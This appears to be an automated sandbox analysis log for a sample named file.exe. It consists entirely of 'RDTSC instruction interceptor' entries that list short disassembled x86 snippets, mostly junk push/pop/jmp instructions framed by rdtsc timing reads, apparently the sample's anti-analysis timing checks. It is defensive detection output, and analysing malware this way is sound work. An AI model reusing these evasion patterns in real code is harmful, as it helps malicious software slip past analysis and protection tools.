Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AF45E second address: 5AF488 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB475B405h 0x00000007 jmp 00007F7BB475B401h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AF740 second address: 5AF749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AF749 second address: 5AF74E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AFA1B second address: 5AFA26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AFA26 second address: 5AFA30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F7BB475B3F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AFA30 second address: 5AFA34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550522 second address: 550528 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550528 second address: 550572 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB4E67DE0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007F7BB4E67DD8h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 push edi 0x00000025 and edx, 7A23795Eh 0x0000002b pop edi 0x0000002c mov ebx, dword ptr [ebp+124835FAh] 0x00000032 mov edx, eax 0x00000034 add eax, ebx 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 push edi 0x0000003a pushad 0x0000003b popad 0x0000003c pop edi 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550572 second address: 5505C1 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F7BB475B3FCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d xor edi, 211BABBCh 0x00000013 push 00000004h 0x00000015 jmp 00007F7BB475B3FCh 0x0000001a nop 0x0000001b push ebx 0x0000001c jmp 00007F7BB475B3FBh 0x00000021 pop ebx 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F7BB475B405h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5505C1 second address: 5505C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5505C7 second address: 5505D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F7BB475B3F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55057C second address: 5505C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 xor edi, 211BABBCh 0x0000000f push 00000004h 0x00000011 jmp 00007F7BB4E67DDCh 0x00000016 nop 0x00000017 push ebx 0x00000018 jmp 00007F7BB4E67DDBh 0x0000001d pop ebx 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F7BB4E67DE5h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AFB86 second address: 5AFB8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AFB8A second address: 5AFB94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AFB94 second address: 5AFB9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AFB9A second address: 5AFB9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AFB9E second address: 5AFBA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B07EA second address: 5B0801 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB4E67DDAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F7BB4E67DD6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B862A second address: 5B8638 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB475B3FAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8781 second address: 5B879B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 jns 00007F7BB4E67DDEh 0x0000000d pop edx 0x0000000e push esi 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B879B second address: 5B87A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8FCC second address: 5B8FD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8FD0 second address: 5B8FD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8FD6 second address: 5B8FE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8FE1 second address: 5B8FE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B928C second address: 5B9296 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F7BB4E67DD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B988D second address: 5B98B4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F7BB475B402h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f pop eax 0x00000010 pop esi 0x00000011 push esi 0x00000012 jbe 00007F7BB475B3F6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B98B4 second address: 5B98C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jl 00007F7BB4E67DE2h 0x0000000b jne 00007F7BB4E67DD6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BA13A second address: 5BA14F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F7BB475B3FEh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BEF1E second address: 5BEF22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BEF22 second address: 5BEF3C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7BB475B404h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BEF3C second address: 5BEF46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F7BB4E67DD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BEF46 second address: 5BEF87 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F7BB475B405h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F7BB475B3FEh 0x00000014 jmp 00007F7BB475B404h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BEF87 second address: 5BEFA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push edx 0x00000006 pop edx 0x00000007 jnc 00007F7BB4E67DD6h 0x0000000d popad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jbe 00007F7BB4E67DD6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3148 second address: 5C3155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F7BB475B3F6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3155 second address: 5C315F instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7BB4E67DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C28A8 second address: 5C28E0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7BB475B3F6h 0x00000008 jmp 00007F7BB475B403h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F7BB475B400h 0x00000017 jnp 00007F7BB475B3F6h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C2B7B second address: 5C2B8E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jl 00007F7BB4E67DD6h 0x00000009 jp 00007F7BB4E67DD6h 0x0000000f pop edi 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C2D2C second address: 5C2D30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CB0EB second address: 5CB0F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CB0F2 second address: 5CB0F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CB0F7 second address: 5CB103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F7BB4E67DD6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CB103 second address: 5CB10C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CB10C second address: 5CB110 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CB634 second address: 5CB64E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7BB475B402h 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CB7BB second address: 5CB7C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F7BB4E67DD6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CB7C8 second address: 5CB7E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7BB475B408h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CB956 second address: 5CB97F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB4E67DE1h 0x00000007 jmp 00007F7BB4E67DDFh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CB97F second address: 5CB989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F7BB475B3F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CA933 second address: 5CA937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF207 second address: 5CF20D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3845 second address: 5D3866 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jns 00007F7BB4E67DD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jnl 00007F7BB4E67DD6h 0x00000015 popad 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 jp 00007F7BB4E67DD6h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3A6A second address: 5D3A70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5122F6 second address: 512310 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB4E67DE3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0645 second address: 5E0649 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0649 second address: 5E064F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E064F second address: 5E0654 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E2BAF second address: 5E2BB9 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7BB4E67DD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E2BB9 second address: 5E2BD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7BB475B406h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E6479 second address: 5E647D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E647D second address: 5E64A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB475B407h 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F7BB475B3F6h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5EF2 second address: 5E5EF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5EF6 second address: 5E5F01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5F01 second address: 5E5F09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E60C1 second address: 5E60C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E60C6 second address: 5E60CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED752 second address: 5ED756 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED756 second address: 5ED75E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED75E second address: 5ED764 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED764 second address: 5ED768 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F7C0D second address: 5F7C23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7BB475B402h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080E2 second address: 5080E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080E6 second address: 5080EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F7AB2 second address: 5F7AB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F7AB8 second address: 5F7ACE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7BB475B402h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FAEA4 second address: 5FAF22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jp 00007F7BB4E67DF0h 0x0000000b jmp 00007F7BB4E67DE9h 0x00000010 jmp 00007F7BB4E67DE1h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 jmp 00007F7BB4E67DE6h 0x0000001e jmp 00007F7BB4E67DE2h 0x00000023 push eax 0x00000024 pop eax 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FAF22 second address: 5FAF27 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601D21 second address: 601D25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602588 second address: 60259F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7BB475B3FFh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60259F second address: 6025A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6025A5 second address: 6025C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F7BB475B409h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60307F second address: 60309F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F7BB4E67DE0h 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60309F second address: 6030A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6030A5 second address: 6030A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6030A9 second address: 6030D1 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7BB475B3F6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F7BB475B400h 0x00000013 push eax 0x00000014 push edx 0x00000015 jno 00007F7BB475B3F6h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6030D1 second address: 6030D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 606BEA second address: 606BFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F7BB475B400h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 606BFF second address: 606C06 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 617756 second address: 61775E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61775E second address: 617764 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60FFB5 second address: 60FFC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F7BB475B3F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60FFC1 second address: 60FFCC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60FFCC second address: 60FFD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60FFD4 second address: 60FFE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007F7BB4E67DD6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60FFE5 second address: 60FFE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60FFE9 second address: 60FFEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63A82B second address: 63A832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63A832 second address: 63A84E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB4E67DE6h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63A84E second address: 63A854 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
